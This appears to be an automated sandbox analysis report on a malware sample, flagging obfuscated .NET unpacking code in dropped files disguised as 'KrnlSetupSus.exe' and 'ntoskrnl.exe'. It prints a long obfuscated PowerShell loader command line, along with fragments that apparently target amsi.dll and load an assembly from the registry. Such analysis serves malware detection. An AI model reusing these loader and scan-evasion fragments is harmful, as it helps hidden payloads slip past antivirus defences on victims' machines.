Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000013.00000002.2771872203.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000013.00000000.1520261331.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2771872203.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000013.00000000.1520141464.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2769590466.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb04 source: svchost.exe, 00000013.00000000.1520261331.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2771872203.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000013.00000000.1520141464.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2769590466.0000028A1AA2A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorV)y source: svchost.exe, 00000013.00000002.2770687739.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000000.1520207455.0000028A1AA40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\symsrv.dllp.pdb source: svchost.exe, 00000013.00000000.1520261331.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2771872203.0000028A1AA5D000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Source: KrnlSetupSus.exe.0.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.lOhl5wnS2VSCSFCfUYhD1FldO0r12gsrxIRLn95mRNYW,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.kb07IPurE12uyIzb2WxjbHZpaDnbCLPyrs27YGNBleTE,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.x9zJjYHF78RFXW7xEyarFX3sZQIPgnSv6seyvw32d3Ak,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.Ml17yRaCyswdlPv3uPlaqX0lTTQ0bVtaIYbFeMY5GJ4Q,fBE1wflwwjJOP1BboN3oP.U7gxRGEVBV9XvesbpeHlO()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: KrnlSetupSus.exe.0.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2],fBE1wflwwjJOP1BboN3oP.zbFKA3h0RY6TTT1PMhP2UR85XWXILLx7YgOhohB4lLMvKeoJfd6lk(Convert.FromBase64String(WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: KrnlSetupSus.exe.0.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.lOhl5wnS2VSCSFCfUYhD1FldO0r12gsrxIRLn95mRNYW,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.kb07IPurE12uyIzb2WxjbHZpaDnbCLPyrs27YGNBleTE,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.x9zJjYHF78RFXW7xEyarFX3sZQIPgnSv6seyvw32d3Ak,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.Ml17yRaCyswdlPv3uPlaqX0lTTQ0bVtaIYbFeMY5GJ4Q,fBE1wflwwjJOP1BboN3oP.U7gxRGEVBV9XvesbpeHlO()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2],fBE1wflwwjJOP1BboN3oP.zbFKA3h0RY6TTT1PMhP2UR85XWXILLx7YgOhohB4lLMvKeoJfd6lk(Convert.FromBase64String(WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.lOhl5wnS2VSCSFCfUYhD1FldO0r12gsrxIRLn95mRNYW,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.kb07IPurE12uyIzb2WxjbHZpaDnbCLPyrs27YGNBleTE,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.x9zJjYHF78RFXW7xEyarFX3sZQIPgnSv6seyvw32d3Ak,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.Ml17yRaCyswdlPv3uPlaqX0lTTQ0bVtaIYbFeMY5GJ4Q,fBE1wflwwjJOP1BboN3oP.U7gxRGEVBV9XvesbpeHlO()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2],fBE1wflwwjJOP1BboN3oP.zbFKA3h0RY6TTT1PMhP2UR85XWXILLx7YgOhohB4lLMvKeoJfd6lk(Convert.FromBase64String(WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.lOhl5wnS2VSCSFCfUYhD1FldO0r12gsrxIRLn95mRNYW,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.kb07IPurE12uyIzb2WxjbHZpaDnbCLPyrs27YGNBleTE,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.x9zJjYHF78RFXW7xEyarFX3sZQIPgnSv6seyvw32d3Ak,NX6lGwb3McFcQKpui0G08IJkdBCcVT9eXqEm5I79TRsa.Ml17yRaCyswdlPv3uPlaqX0lTTQ0bVtaIYbFeMY5GJ4Q,fBE1wflwwjJOP1BboN3oP.U7gxRGEVBV9XvesbpeHlO()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2],fBE1wflwwjJOP1BboN3oP.zbFKA3h0RY6TTT1PMhP2UR85XWXILLx7YgOhohB4lLMvKeoJfd6lk(Convert.FromBase64String(WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { WXxrAArJWY8XFp1YWN0McTEpspQwEI7GORy0[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: KrnlSetupSus.exe.0.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: ShBTJDYV4jRo7REWRW7Cr1jYv6C5FA7f2OU1EMoMQMNXmaxVLJoZvNOhSNYTOw3LCpoBLUvIGoswxzbB2QF4wbF77nAr7u System.AppDomain.Load(byte[])
Source: KrnlSetupSus.exe.0.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux System.AppDomain.Load(byte[])
Source: KrnlSetupSus.exe.0.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: ShBTJDYV4jRo7REWRW7Cr1jYv6C5FA7f2OU1EMoMQMNXmaxVLJoZvNOhSNYTOw3LCpoBLUvIGoswxzbB2QF4wbF77nAr7u System.AppDomain.Load(byte[])
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux System.AppDomain.Load(byte[])
Source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: ShBTJDYV4jRo7REWRW7Cr1jYv6C5FA7f2OU1EMoMQMNXmaxVLJoZvNOhSNYTOw3LCpoBLUvIGoswxzbB2QF4wbF77nAr7u System.AppDomain.Load(byte[])
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux System.AppDomain.Load(byte[])
Source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: ShBTJDYV4jRo7REWRW7Cr1jYv6C5FA7f2OU1EMoMQMNXmaxVLJoZvNOhSNYTOw3LCpoBLUvIGoswxzbB2QF4wbF77nAr7u System.AppDomain.Load(byte[])
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux System.AppDomain.Load(byte[])
Source: ntoskrnl.exe.3.dr, ajIsSiZ8AS1co09CghkkWvl6HPbkrUc8slzdbVDZhhdhgQNmeDruBDHdY3QTrEzPCoaUNp9BALGv4SFjurU81RTN5uY6xN.cs	.Net Code: uNfoNI7Y4g6Dxv7WXOdS8LNPdcLqcF2mkaux

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($lUrimOjxLHSAgu,$qnwSIaibfbWlFcLLMVH).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+'.dll');$rLMnIHfZQPDuCMOEo=$ExDfVzsYxbumyj.Invoke($Null,@([Object]$kIpEHaJ,[Object](''+[
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Ch

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zDgZeIZuxWRL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lbrdggfZMoOJSI,[Parameter(Position=1)][Type]$IOfHboHVyv)$RBuJknKpjnm=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+'l'+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'m'+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+'e'+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+','+''+'S'+''+'e'+'a'+'l'+''+'e'+'d'+[Char](44)+''+'A'+''+'n'+''+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RBuJknKpjnm.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'N'+'a'+''+'m'+'e'+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lbrdggfZMoOJSI).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+'e'+'d'+'');$RBuJknKpjnm.DefineMethod(''+[Char](73)+''+[Char](110)+'voke','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$IOfHboHVyv,$lbrdggfZMoOJSI).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+'ime'+','+''+[Char](77)+'a'+'n'+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $RBuJknKpjnm.CreateType();}$ysqdxYMCHCLNa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sys'+'t'+''+'e'+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType('Mi'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+'Nativ'+[Char](101)+''+[Char](77)+'e'+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$ExDfVzsYxbumyj=

Suspicious powershell command line found

Source: unknown

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADEB05C push esp; retf	4_2_00007FFB4ADEB05D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4ADEDC55 pushad ; iretd	4_2_00007FFB4ADEDC79
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB079F0 push rsp; retf 0000h	6_3_00000290EDB079F1
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB08DD1 push rbx; retf	6_3_00000290EDB08DD2
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB08DD8 push rsp; retf	6_3_00000290EDB08DD9
Source: C:\Windows\System32\dllhost.exe	Code function: 6_3_00000290EDB1A5DD push rcx; retf 003Fh	6_3_00000290EDB1A5DE
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E9917279F0 push rsp; retf 0000h	7_3_000002E9917279F1
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E99173A5DD push rcx; retf 003Fh	7_3_000002E99173A5DE
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E991728DD1 push rbx; retf	7_3_000002E991728DD2
Source: C:\Windows\System32\winlogon.exe	Code function: 7_3_000002E991728DD8 push rsp; retf	7_3_000002E991728DD9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4ACED2A5 pushad ; iretd	8_2_00007FFB4ACED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4AE019DA pushad ; ret	8_2_00007FFB4AE019E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4AED2316 push 8B485F92h; iretd	8_2_00007FFB4AED231B
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCB8DD1 push rbx; retf	10_3_00000213BDCB8DD2
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCCA5DD push rcx; retf 003Fh	10_3_00000213BDCCA5DE
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCB8DD8 push rsp; retf	10_3_00000213BDCB8DD9
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000213BDCB79F0 push rsp; retf 0000h	10_3_00000213BDCB79F1
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709A79F0 push rsp; retf 0000h	11_3_00000158709A79F1
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709A8DD8 push rsp; retf	11_3_00000158709A8DD9
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709BA5DD push rcx; retf 003Fh	11_3_00000158709BA5DE
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_00000158709A8DD1 push rbx; retf	11_3_00000158709A8DD2
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB156A5DD push rcx; retf 003Fh	12_3_0000026DB156A5DE
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB1558DD1 push rbx; retf	12_3_0000026DB1558DD2
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB1558DD8 push rsp; retf	12_3_0000026DB1558DD9
Source: C:\Windows\System32\dwm.exe	Code function: 12_3_0000026DB15579F0 push rsp; retf 0000h	12_3_0000026DB15579F1
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFC79F0 push rsp; retf 0000h	13_3_000002A3EFFC79F1
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFDA5DD push rcx; retf 003Fh	13_3_000002A3EFFDA5DE
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFC8DD8 push rsp; retf	13_3_000002A3EFFC8DD9
Source: C:\Windows\System32\svchost.exe	Code function: 13_3_000002A3EFFC8DD1 push rbx; retf	13_3_000002A3EFFC8DD2
Source: C:\Windows\System32\svchost.exe	Code function: 15_3_000002C9AFB9A5DD push rcx; retf 003Fh	15_3_000002C9AFB9A5DE
Source: C:\Windows\System32\svchost.exe	Code function: 15_3_000002C9AFB88DD1 push rbx; retf	15_3_000002C9AFB88DD2

Source: RdLfpZY5A9.exe

Static PE information: section name: .text entropy: 7.986577451006427

Source: RdLfpZY5A9.exe, alIy4urw6ZG2T9PDfBIjnkiqw.cs	High entropy of concatenated method names: 'Pr8fjM0zXurZb15YbbotW2gYr', 'cEgJXUuxeQgEmiXmAtJIg8lEV', 'hTJCaANsznzPHgqPXV71cyfdO', 'yF6wmZngBWcQwXWvY7Vlh54r8', 'HDugdRJiD2Ty46k1bG432z8pl', 'aUWqS5zixnsZoe0X1ZuTWhxuB', 'iATTAURfxvbpwiWwlvkEzzwuG', 'uiHhryvKH9tlp2Noyq1QsdrBG', 'mH3t5L7XpeAlm5hEig8IYGvSs', '_15SNqpDkzoEq7i3jWmBP4S5Ov'
Source: RdLfpZY5A9.exe, WKd5CrXXyuWqnks4QEXvwcII4.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'il4Tkk1xnVda9Aau7ncvqSV5v', 'DQ3kUJOvER9rpavT4Mm0CPA2h', 'tJX6wP3k6eXnxuQCSpIY2Casw', 'ONZV5tjGA0l5NwyQds5OaYiOr'
Source: KrnlSetupSus.exe.0.dr, An0DSGyo344mWvaOGRrvwB3xPQTerGsbqj4hWP87gE2xj6Xf861To.cs	High entropy of concatenated method names: 'vHFFmttLONVktUsWUA3AJGFdJWwH3LXW3xXjpw21bBBfogjdXwixL', 'pDig5htp97pCUFbUOWgCFQEhPPMCswUZeqO0OvckzS0LVMk2IbATt', '_3zX6h0rbxTkLHYQL5aUcLZHZ7UzQhII1RWwOwCq7kahd95MljO1Y8', 'qWQJ4sEDsHWDMdrXMBkWJJMAR2ZJYuHYUXWKncElQ', 'gq4Qkyfs4qJPW0ELlZ3kPt15qUZ0cxiBsFeAPeQI5', 'RFBbtf7HwHMb6tA0XzPhNh0zTs2JPusWSKjbkqzCH', 'Ggm60FFRlbFETKfaMX2uqzTwCAlOOfzdpr80PQzQt', 'SfbFF1YXwOThpiQCsrqLkaZcTWr8qgkCV0BH53CKx', 'o54yd07s4Ybrh2mMTQmPy9G13JW9ciIrO77zM8H2u', 'pnE5wwk6209HgsLniyDfSldBWArhFkd7jbxxWqdyQ'
Source: KrnlSetupSus.exe.0.dr, g59OujVBB7MZJrqDCW5gf5pEZBK5CRLNy2qq.cs	High entropy of concatenated method names: 'Udog1cHZ1AZJdMqeZsOj2t0bHbbfTPyLXdZe', 'TTYQ8X2ipUHHOkpu8pFoVFvSsdMubt5OxO8w', 'HT2IJGVpP7zoCQKtrmw3udmHXeOWC8OpeL8N', 'M9quXEQLDHFgQdGrsqwRWJUMnoQCKJWjSr19mi7k424vOIRs8Fm0VrYwzEFpRaL', '_1R6sIwUFYAWIMc0rzfxjghWNfbNjvLbVc8IJBPCINsJKoQXG1mhyq3NKOhHPeSr', 'rDsj1OqcOyybEuCLD2FFi2BigjKCDFhW9PjBvEGOqBEnsU9SFadJtQkG7xaHR7X', 'qIJHJB3QXPOXWlGDcFiDAmtKitBmvx9A5fUf7AI0uqYmSXmbBJoJerF6poK7WhD', 'GHUFd804U76ooo0qpMgfZJtEwg6rVUVsmOdRDm6D4eJcy5wWm2iRwOzKSeaZU2v', 'HnLd5xAdbGZEMuhGUGFFabByTNuTI0ppEXue9G35Rm7RfXZT', 'Wbg4wkSPngGqJ8xephornvch2JT70vBDY2ex0FEFCEq8NqbS'
